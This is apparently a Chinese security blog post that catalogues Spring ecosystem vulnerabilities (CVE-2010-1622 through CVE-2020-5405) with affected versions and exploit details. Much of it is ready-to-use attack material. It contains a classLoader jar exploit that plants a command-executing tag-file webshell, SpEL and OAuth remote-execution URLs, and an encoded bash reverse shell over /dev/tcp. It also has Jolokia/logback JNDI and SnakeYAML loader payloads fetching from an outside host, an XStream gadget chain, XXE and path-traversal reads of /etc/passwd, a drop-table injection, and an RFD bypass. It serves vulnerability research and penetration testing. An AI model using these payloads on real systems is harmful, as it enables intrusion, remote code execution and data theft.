本文作者：Misaki，文章来源：https://misakikata.github.io/
虽说是 Spring 框架漏洞，但以下包含并不仅 Spring Framework，Spring Boot，还有 Spring Cloud，Spring Data，Spring Security 等。
CVE-2010-1622 Spring Framework class.classLoader 类远程代码执行
影响版本：SpringSource Spring Framework 3.0.0 - 3.0.2、SpringSource Spring Framework 2.5.0 - 2.5.7
Spring 框架提供了一种机制，该机制使用客户端提供的数据来更新对象属性。这个机制允许攻击者修改用于加载对象的类加载器的属性（通过 'class.classloader'）。这可能导致任意命令执行，例如，攻击者可以修改 URL。由类加载器用来指向攻击者控制的位置。
示例：
POST /adduser HTTP/1.0
...
firstName = Tavis&lastName = Ormandy
如果 Person 是表单的支持对象，则 firstName 和 lastName 属性将设置为相应的值。为了支持更复杂的类，Spring 还支持点表示法，因此 user.address.street = Disclosure + Str。将等效于：frmObj.getUser().getAddress().setStreet("Disclosure Str.")
问题是 Spring Beans 的 CachedIntrospectionResults 类枚举了可从用户表单提交中设置的属性，使用 java.beans.Introspector.getBeanInfo() 而不指定停止类，这意味着 'class' 属性及其后的所有内容均可用于HTTP请求中的设置。
攻击:
如果攻击者使用以下 HTTP 参数向表单控制器提交 HTTP 请求：
POST /adduser HTTP/1.0
...
class.classLoader.URLs[0] = jar:http://attacker/spring-exploit.jar!
她将使用自己的网址覆盖 frmObj.getClass().getClassLoader().getURLs() 返回的数组中的第 0 个元素.
它将是哪个类加载器？
在 Apache Tomcat 上的情况下，它指 org.apache.catalina.loader.WebappClassLoader
如何构造这个 jar，需要包含以下信息：
- META-INF/spring-form.tld - 定义spring表单标签并指定实现为标签文件而不是类
- META-INF/tags/中的标签文件，包含有标签定义（任意Java代码）
/META-INF/spring-form.tld 文件：
<!-- <form:input/> tag -->
<tag-file>
<name>input</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>
/META-INF/tags/InputTag.tag
<%@ tag dynamic-attributes="dynattrs" %>
<%
j java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED");
%>
做出这样的替换后，当开发者在 controller 中将任何一个对象绑定表单，并且最终展示的 jsp 内容有下面这些：
<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>
<form:form commandName="user">
<form:input path="name"/>
</form:form>
攻击者访问 url,即可触发远程代码执行的效果:
http://inbreak.net/springmvc/testjsp.htm? class.classLoader.URLs[0]=jar:https://inbreak.net/spring-exploit.jar!/
如果服务器大于 tomcat6.0.28 版本，这样做会把所有的 input 标签替换掉，导致不能正常显示。需要修改
spring-form.tld，给其中的 inputtag 改名，name 改为 inputkxlzx：
<tag>
<name>inputkxlzx</name> //什么名字都行
在文件中新加入一个 tag，叫做 input：
<tag-file><name>input</name><path>/WEB-INF/tags/InputTag.tag</path></tag-file>
InputTag.tag 的内容：
<%@ tag dynamic-attributes="dynattrs" %>
<%
if (request.getParameter("kxlzxcmd")!=null)
exec(request.getParameter("kxlzxcmd"));
%>
<form:inputkxlzx path="${dynattrs.path}"></form:inputkxlzx>
访问的时候需要在参数中携带 kxlzxcmd
http://blog.o0o.nu/2010/06/cve-2010-1622.html
https://www.inbreak.net/archives/377
CVE-2013-4152 Spring Framework 中的 XML 外部实体（XXE）注入
影响版本：3.0.0 至 3.2.3、4.0.0.M1
受影响版本容易受到 XML 外部实体（XXE）注入的攻击。该SourceHttpMessageConverter处理器不会禁用外部实体解析，这使远程攻击者可以读取任意文件。
当传输 xml 结构体时，如
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>
外部XML实体- xxe是使用系统标识符定义的，并存在于 DOCTYPE 标头中。这些实体可以访问本地或远程内容。例如，以下代码包含一个外部 XML 实体，该实体将获取的内容 /etc/passwd并将其显示给呈现给用户。
?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
其他 XXE 注入攻击可以访问可能无法停止返回数据的本地资源，这可能会影响应用程序可用性并导致拒绝服务。
CVE-2013-7315 Spring Framework 中的 XML 外部实体
影响版本：3.2.0至3.2.3、4.0.0.M1-4.0.0.M2（Spring MVC）
由于对 CVE-2013-4152 和 CVE-2013-6429 的修复不完整导致。
受影响版本容易受到 XML 外部实体（XXE）注入的攻击。该SourceHttpMessageConverter处理器不会禁用外部实体解析，这使远程攻击者可以读取任意文件。
当传输 xml 结构体时，如
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>
外部 XML 实体- xxe是使用系统标识符定义的，并存在于 DOCTYPE 标头中。这些实体可以访问本地或远程内容。例如，以下代码包含一个外部 XML 实体，该实体将获取的内容 /etc/passwd并将其显示给呈现给用户。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
其他 XXE 注入攻击可以访问可能无法停止返回数据的本地资源，这可能会影响应用程序可用性并导致拒绝服务。
CVE-2014-3527 Spring Security 验证绕过漏洞
影响版本：SpringSource Spring Security 3.1-3.2.4
当使用从 Spring Security 3.1 到 3.2.4 的 CAS 代理票证身份验证时，恶意的 CAS 服务可能会欺骗另一个 CAS 服务来认证未关联的代理票证。这是由于以下事实：代理票证身份验证使用了来自 HttpServletRequest 的信息，该信息是根据 HTTP 请求中的不可信信息填充的。这意味着，如果存在 CAS 服务可以相互认证的访问控制限制，则可以绕过这些限制。如果用户未使用 CAS 代理票证，并且未基于 CAS 服务做出访问控制决策，则对用户没有影响。
CVE-2014-0097 Spring Security 认证绕过
影响版本：Spring Security 3.2.0 至 3.2.1 和 3.1.0 至 3.1.5
ActiveDirectoryLdapAuthenticator不检查密码长度。如果目录允许匿名绑定，则它可能会错误地验证提供空密码的用户。
CVE-2014-3578 Spring Framework 目录遍历漏洞
影响版本：Spring Framework: 3.0.4 to 3.2.11 , 4.0.0 to 4.0.7, 4.1.0 to 4.1.1
在 web.xml 存在如下情况下存在目录遍历：
<mvc:resources mapping="/css/**" location="file:webapps/springapp/WEB-INF/classes/theme/css/" />
访问：
GET /springapp/css/file:/etc/passwd
CVE-2016-2173 Spring AMQP 中的远程代码执行
影响版本：1.0.0至1.5.4
https://github.com/HaToan/CVE-2016-2173
使用方式：
ysoserial-0.0.4-all.jar create payload write and execute a shell
java -jar ysoserial-0.0.4-all.jar 'library_vul' 'command'
exploit-cve2016-2173.jar : send to App vul
java -jar exploit-cve2016-2173.jar
本来想根据配置来搭一个环境处理，结果环境一直搭不起来，构建各种失败，就先放这个利用 poc 吧。
CVE-2016-4977 SpringSecurityOauth 远程命令执行漏洞
影响版本：2.0.0-2.0.9、1.0.0-1.0.5
https://www.seebug.org/vuldb/ssvid-92474
漏洞利用POC：
http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2334-1}
执行命令：
http://207.246.79.196:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${T(java.lang.Runtime).getRuntime().exec(%22ping%20xxx.ceye.io%22)}
但是此命令执行，不会在页面上显示，只会打印出运行的对象。
如果要执行反弹 shell 等命令，由于页面 HTML 编码的原因，SPEL 返回值时进行了一次 html 编码，所以导致取出的 值时会进行一次转义，利用如下脚本加工。
#coding:utf-8
message = input('Enter message to encode:')
print('Decoded string (in ASCII):\n')
print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="")
for ch in message[1:]:
print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),
print('\n')
print('new java.lang.String(new byte[]{', end=""),
print(ord(message[0]), end="")
for ch in message[1:]:
print(',%s' % ord(ch), end=""),
print(')}')
执行输出后再添加：
T(java.lang.Runtime).getRuntime().exec(payload)
CNVD-2016-04742 Spring Boot 框架 SPEL 表达式注入漏洞
影响版本：1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
https://www.cnblogs.com/litlife/p/10183137.html
下载存在漏洞的版本1.3.0：
https://github.com/spring-projects/spring-boot/archive/v1.3.0.RELEASE.zip
POC：
/?payload=${new%20java.lang.String(new%20byte[]{70, 66, 66, 50, 48, 52, 65, 52, 48, 54, 49, 70, 70, 66, 68, 52, 49, 50, 56, 52, 65, 56, 52, 67, 50, 53, 56, 67, 49, 66, 70, 66})}
结果：
FBB204A4061FFBD41284A84C258C1BFB 返回结果是 md5(wooyun)
CVE-2016-6652 Spring Data JPA SQL 盲注
影响版本：Spring Data JPA 1.10.2、1.9.4
https://www.seebug.org/vuldb/ssvid-92534
CVE-2017-4971 Spring WebFlow 远程代码执行漏洞
影响版本：Spring Web Flow 2.4.0 to 2.4.4
使用vulhub搭建环境后，在添加poc执行
&_(new+java.lang.ProcessBuilder("ping","xxx.ceye.io")).start()=vulhub
无害化 payload 检测，如果 response header 中出现 vulnerable 头，则有漏洞：
&_T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("vulnerable","True").aaa=n1nty
CVE-2017-8045 Spring Amqp中的远程代码执行
影响版本：1.7.4、1.6.11和1.5.7之前的Spring AMQP版本
https://xz.aliyun.com/t/36
CVE-2017-8046 Spring Data REST PATCH请求远程执行代码
影响版本：Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本、Spring Data release trains Kay-RC3之前的版本、Spring Boot 2.0.0M4之前的版本
https://www.cnblogs.com/co10rway/p/9380441.html
利用POC执行：
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String('ping xxx.ceye.io'))/lastname", "value": "vulhub" }]
反弹shell，其中反弹shell命令需要借助编码来减少重定向出错的问题java.lang.Runtime.exec() Payload Workarounds：
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54Lzg4OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'))/lastname", "value": "vulhub" }]
CVE-2018-1258 Spring Security未经授权的访问
影响版本：Spring Framework 5.0.5.RELEASE和Spring Security（任何版本）
暂无详细信息
CVE-2018-1259 具有XMLBeam的Spring DataXXE
影响版本：
XMLBeam 1.4.14或更早版本结合使用的Spring Data Commons Spring Data Commons 1.13至1.13.11（Ingalls SR11）Spring Data REST 2.6至2.6.11（Ingalls SR11） Spring Data Commons 2.0至2.0.6（Kay SR6） Spring Data REST 3.0至3.0.6（Kay SR6）
http://www.polaris-lab.com/index.php/tag/CVE-2018-1259/
https://xz.aliyun.com/t/2341
CVE-2018-1270 Spring Messaging远程代码执行漏洞
影响版本：Spring Framework 5.0 to 5.0.4。Spring Framework 4.3 to 4.3.14
同样利用 vulhub 搭建环境，首先我们先拦截 connect，查看通过的 ws 包，点击后会有这么一个请求
ws://x.x.x.x:8080/gs-guide-websocket/845/beqcexeb/websocket
从 bp 中看到来回四个包，其中的内容为如上所示，修改如下请求包
在发送任意消息，即可触发
或者尝试使用 vulhub 提供的脚本，但是此脚本并不具备通用性，需要修改使用poc
CVE-2018-1271 Spring MVC 目录穿越漏洞
当 Spring MVC 的静态资源存放在 Windows 系统上时，攻击可以通过构造特殊 URL 导致目录遍历漏洞。
此漏洞触发条件较高：
Server 运行于 Windows 系统上
从文件系统提供的文件服务（比如使用 file 协议，但不是 file open）
没有使用 CVE-2018-1199 漏洞的补丁
不使用 Tomcat 或者是 WildFly 做 Server
漏洞利用和复现:
https://blog.knownsec.com/2018/08/spring-mvc-%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A%E6%BC%8F%E6%B4%9Ecve-2018-1271%E5%88%86%E6%9E%90/
CVE-2018-1273 Spring Expression Language SPEL表达式注入漏洞
影响版本：
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 - 3.0.5 (Kay SR5)
https://www.cnblogs.com/hac425/p/9656747.html
POC：
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]=xxxusername[T(java.lang.Runtime).getRuntime().exec("ping+xxx.ceye.io")]=test
CVE-2018-1260 Spring Security Oauth2 远程代码执行
影响版本：
Spring Security OAuth 2.3 to 2.3.2
Spring Security OAuth 2.2 to 2.2.1
Spring Security OAuth 2.1 to 2.1.1
Spring Security OAuth 2.0 to 2.0.14
https://www.seebug.org/vuldb/ssvid-97287
此漏洞和CVE-2016-4977类似
POC：
http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.baidu.com&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22ping%20r9rub4.ceye.io%22%29%7D
CVE-2018-15758 spring-security-oauth2权限提升
影响版本：
Spring Security OAuth 2.3至2.3.3
Spring Security OAuth 2.2至2.2.2
Spring Security OAuth 2.1至2.1.2
Spring Security OAuth 2.0到2.0.15
使用了EnableResourceServer并且用了AuthorizationRequest的话。那么攻击者可以重新发送一次用过的验证请求，或者进行相应参数修改，从而造成权限提升。
例如劫持code，并且篡改其中的scope到all的话：
http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://127.0.0.1&scope=openid
即授权了读取权限的时候，修改为all就可以获得全部权限。
CVE-2019-3799 Spring Cloud Config Server: 目录遍历
影响版本：Spring-Cloud-Config-Server < 2.1.2, 2.0.4, 1.4.6
下载受影响的版本构建：https://github.com/spring-cloud/spring-cloud-config
cd spring-cloud-config-server ../mvnw spring-boot:run
构建成功后访问：
http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd
其中路径代表：/{name}/{profile}/{label}/，如下中所显示的json。
CVE-2019-3778 Spring Security OAuth 开放重定向
影响版本：
Spring Security OAuth 2.3 to 2.3.4 Spring Security OAuth 2.2 to 2.2.3 Spring Security OAuth 2.1 to 2.1.3 Spring Security OAuth 2.0 to 2.0.16
https://medium.com/@riemannbernhardj/investigating-spring-security-oauth2-cve-2019-3778-and-cve-2019-11269-a-p-o-c-attack-44895f2a5e70
用户登录后，CLIENT APP 执行的以下请求包含 REDIRECT_URI 参数。只需添加一个百分号即可触发重定向，而不是通过 RedirectMismatchException 错误来绕过验证。
例如原始请求如下：
/auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login
只需要修改为：
/auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:8086/login
这样就不会产生原本的认证错误，而且直接跳转到地址
Location: http://localhost:8086/login
CNVD-2019-11630 Spring Boot Actuator 命令执行漏洞
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators#
这个漏洞并不像是单一的问题产生，更像是一个渗透入侵的过程。有很多值得在意的知识点
1、Spring Boot 1-1.4，无需身份验证即可访问以下敏感路径，而在 2.x 中，存在于 /actuator 路径下。
/dump-显示线程转储（包括堆栈跟踪）
/trace-显示最后几条HTTP消息（其中可能包含会话标识符）
/logfile-输出日志文件的内容
/shutdown-关闭应用程序
/mappings-显示所有MVC控制器映射
/env-提供对配置环境的访问
/restart-重新启动应用程序
2、jolokia 进行远程代码执行，Jolokia 允许通过 HTTP 访问所有已注册的 MBean，并且旨在执行与 JMX 相同的操作。可以使用 URL 列出所有可用的 MBeans 操作：
http://127.0.0.1:8090/jolokia/list
Logback 库提供的 reloadByURL 操作使我们可以从外部 URL 重新加载日志配置，地址如：
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
logback.xml：
<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>
reloadByURL 功能从 http://artsploit.com/logback.xml 下载新配置，并将其解析为 Logback 配置。这就导致两个问题：XXE 盲攻击、恶意 LDAP 服务器解析引用导致 RCE。
3、通过 /env 来修改配置
如果 Spring Cloud Libraries 在类路径中，则’/env’端点允许您修改 Spring 环境属性。
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
此属性将 Eureka serviceURL 修改为任意值。Eureka Server 通常用作发现服务器，目标类路径中具有 Eureka-Client <1.8.7，则可以利用其中的 XStream 反序列化漏洞。
其中 xstream 的内容类似如下：
<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>
然后调用 /refresh 端点。
4、有一种通过 Spring 环境属性修改来实现 RCE 的更可靠方法：
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml
该请求修改了“ spring.cloud.bootstrap.location”属性，该属性用于加载外部配置并以YAML格式解析它。为了做到这一点，我们还需要调用“/refresh”端点。
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
从远程服务器获取 YAML 配置时，将使用 SnakeYAML 库进行解析，该库也容易受到反序列化攻击。有效载荷（yaml-payload.yml）可以通过使用前述的 Marshalsec 研究生成：
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://artsploit.com/yaml-payload.jar"] ]]]
该 jar 文件的反序列化将触发提供的 URLClassLoader 的 ScriptEngineManager 构造函数的执行。jar 文件可以在如下地址找到：
https://github.com/artsploit/yaml-payload
5、/env 配置
除了关于执行 RCE 的地方，还有一些设置也很有用。
spring.datasource.tomcat.validationQuery = drop + table + users-允许您指定任何 SQL 查询，它将针对当前数据库自动执行。它可以是任何语句，包括插入，更新或删除。
spring.datasource.tomcat.url = jdbc:hsqldb:https://localhost:3002/xdb
允许您修改当前的JDBC连接字符串。
这种设置只在 1.x 中，在 Spring Boot 2.x 中，改为了 json 格式。
CVE-2019-11269 Spring Security OAuth 开放重定向
此漏洞为 CVE-2019-3778的延伸版本，效果一致
影响版本：Spring Security OAuth 2.3至2.3.5Spring Security OAuth 2.2至2.2.4Spring Security OAuth 2.1至2.1.4Spring Security OAUth 2.0至2.0.17
CVE-2020-5398 Spring Framework RFD漏洞
影响版本：Spring Framework, versions 5.2.0 to 5.2.3, 5.1.0 to 5.1.13, 5.0.0 to 5.0.16
触发此漏洞的要求可以控制content-disposition文件名和扩展名来下载文件。触发的类型有些类似钓鱼文件。
<a href=”https://<trusted-server>.com/api/users/<attacker_id>.cmd" download>Click me, Im a dolphin</a>
先准备一个受控制的配置文件等，上传到受信的服务器中，虽然对服务器不造成影响。但是可以在其中注入一些payload。
由于下载的文件名是受前端控制，发送filename的时候可以自己构造文件名下载。
spring对不能识别的文件下载的时候按照json格式来处理，但是url仍然可以使用。
当受害者点击如上的地址时，会下载一个.cmd执行文件。原来spring对这种问题的处理是添加后缀为txt来改变文件的可执行效果。
但是这个设置可以绕过，采用如下形式：
filename：secure_install.cmd";
会在表头中闭合造成如下效果：
Content-Disposition: attachment; filename="secure_install.cmd";.txt"
从而达到绕过限制来下载预先设定好的可执行文件等。
CVE-2020-5405 Spring Cloud Config路径穿越导致的信息泄露
影响版本：spring-cloud-config-server < 2.2.2
https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/blob/65bbd0ec4f2fd012318f7d91548ba1f338d5e064/Spring%20Cloud/CVE-2020-5405%20Spring%20Cloud%20Config%20%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A/README.md
poc：
利用点1：
curl http://127.0.0.1:9988/foo/profiles/%252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp/aaa.xxx
读取 /User/xuanyonghao/tmp/aaa.xxx 文件
foo 对应 {application}
profiles 对应 {profiles}
%252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp 对应 {label}
todo 条件限制：
todo 1. 文件必须有后缀，也就是 .txt 等等。
todo 2. cloud: config: server: native: search-locations: file:///tmp/{label}，此处的目录需要有{application}或{profiles}或{label}，因为在上述触发点会对url对应段进行替换进来location，导致目录穿越，但是会限制文件后缀
利用点2：
org.springframework.cloud.config.server.resource.ResourceController#resolveLabel(java.lang.String)
利用此处把label处的(_)替换为 /
curl http://127.0.0.1:9988/foo/profiles/..%28_%29Users%28_%29xuanyonghao%28_%29tmp/aaa.xxx